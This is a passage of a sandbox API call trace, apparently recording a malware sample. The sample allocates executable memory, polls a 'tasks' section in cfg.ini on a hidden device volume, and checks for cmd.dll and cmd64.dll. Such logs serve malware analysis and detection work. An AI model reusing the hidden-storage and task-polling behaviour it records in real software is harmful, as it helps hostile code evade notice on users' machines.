KeWaitForMutexObject () returned 0x0 [0120.312] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.312] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.312] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.312] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.312] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.312] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] KeLeaveCriticalRegion () [0120.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.312] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.312] KeEnterCriticalRegion () [0120.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] KeLeaveCriticalRegion () [0120.313] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.313] KeEnterCriticalRegion () [0120.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.313] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.313] IdePortDispatch () returned 0x103 [0120.318] KeWaitForMutexObject () returned 0x0 [0120.318] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.318] KeLeaveCriticalRegion () [0120.318] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.319] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.319] KeEnterCriticalRegion () [0120.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003442000 [0120.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.319] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.319] IdePortDispatch () returned 0x103 [0120.319] KeWaitForMutexObject () returned 0x0 [0120.319] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.319] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.319] IdePortDispatch () returned 0x103 [0120.319] KeWaitForMutexObject () returned 0x0 [0120.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.319] KeLeaveCriticalRegion () [0120.319] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.320] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.320] KeEnterCriticalRegion () [0120.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] KeLeaveCriticalRegion () [0120.320] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.320] KeEnterCriticalRegion () [0120.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.320] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] KeLeaveCriticalRegion () [0120.320] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.320] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.320] KeEnterCriticalRegion () [0120.320] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.320] KeLeaveCriticalRegion () [0120.320] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.320] ReleaseMutex (hMutex=0xf0) returned 1 [0120.320] Sleep (dwMilliseconds=0x927c0) [0120.334] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.334] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.334] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.334] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.334] KeEnterCriticalRegion () [0120.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.334] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.334] IdePortDispatch () returned 0x103 [0120.334] KeWaitForMutexObject () returned 0x0 [0120.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.335] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.335] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.335] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.335] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.335] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc970 [0120.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.335] KeLeaveCriticalRegion () [0120.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.335] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.335] KeEnterCriticalRegion () [0120.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.335] KeLeaveCriticalRegion () [0120.335] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.335] KeEnterCriticalRegion () [0120.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.335] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.335] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.335] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.335] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.335] IdePortDispatch () returned 0x103 [0120.335] KeWaitForMutexObject () returned 0x0 [0120.335] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.335] KeLeaveCriticalRegion () [0120.335] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.335] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.335] KeEnterCriticalRegion () [0120.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.336] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003447000 [0120.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.336] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.336] IdePortDispatch () returned 0x103 [0120.336] KeWaitForMutexObject () returned 0x0 [0120.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.336] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.336] IdePortDispatch () returned 0x103 [0120.336] KeWaitForMutexObject () returned 0x0 [0120.336] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.336] KeLeaveCriticalRegion () [0120.336] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.337] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.337] KeEnterCriticalRegion () [0120.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] KeLeaveCriticalRegion () [0120.337] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.337] KeEnterCriticalRegion () [0120.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.337] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] KeLeaveCriticalRegion () [0120.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.337] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.337] KeEnterCriticalRegion () [0120.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] ExFreePoolWithTag (P=0xfffffa8003bbc970, Tag=0x0) [0120.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.337] KeLeaveCriticalRegion () [0120.337] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.337] ReleaseMutex (hMutex=0xf0) returned 1 [0120.337] Sleep (dwMilliseconds=0x927c0) [0120.351] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.351] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.351] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.351] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.351] KeEnterCriticalRegion () [0120.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.351] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.351] IdePortDispatch () returned 0x103 [0120.351] KeWaitForMutexObject () returned 0x0 [0120.351] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.351] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.351] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.351] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.351] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.351] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.351] KeLeaveCriticalRegion () [0120.351] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.351] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.351] KeEnterCriticalRegion () [0120.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.351] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.351] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.351] KeLeaveCriticalRegion () [0120.351] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.351] KeEnterCriticalRegion () [0120.351] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.351] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.351] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.351] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.351] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.351] IdePortDispatch () returned 0x103 [0120.351] KeWaitForMutexObject () returned 0x0 [0120.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.352] KeLeaveCriticalRegion () [0120.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.352] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.352] KeEnterCriticalRegion () [0120.352] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.352] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800344c000 [0120.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.352] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.352] IdePortDispatch () returned 0x103 [0120.352] KeWaitForMutexObject () returned 0x0 [0120.352] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.352] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.352] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.352] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.352] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.352] IdePortDispatch () returned 0x103 [0120.352] KeWaitForMutexObject () returned 0x0 [0120.352] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.352] KeLeaveCriticalRegion () [0120.352] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.353] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.353] KeEnterCriticalRegion () [0120.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] KeLeaveCriticalRegion () [0120.353] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.353] KeEnterCriticalRegion () [0120.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.353] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] KeLeaveCriticalRegion () [0120.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.353] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.353] KeEnterCriticalRegion () [0120.353] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.353] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.353] KeLeaveCriticalRegion () [0120.353] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.353] ReleaseMutex (hMutex=0xf0) returned 1 [0120.353] Sleep (dwMilliseconds=0x927c0) [0120.354] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.354] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.360] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.360] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.360] KeEnterCriticalRegion () [0120.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.360] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.360] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.360] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.360] IdePortDispatch () returned 0x103 [0120.360] KeWaitForMutexObject () returned 0x0 [0120.360] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.360] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.360] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.360] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.360] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.360] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2340 [0120.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] KeLeaveCriticalRegion () [0120.360] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.360] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.360] KeEnterCriticalRegion () [0120.360] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.360] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.360] KeLeaveCriticalRegion () [0120.361] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.361] KeEnterCriticalRegion () [0120.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.361] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) 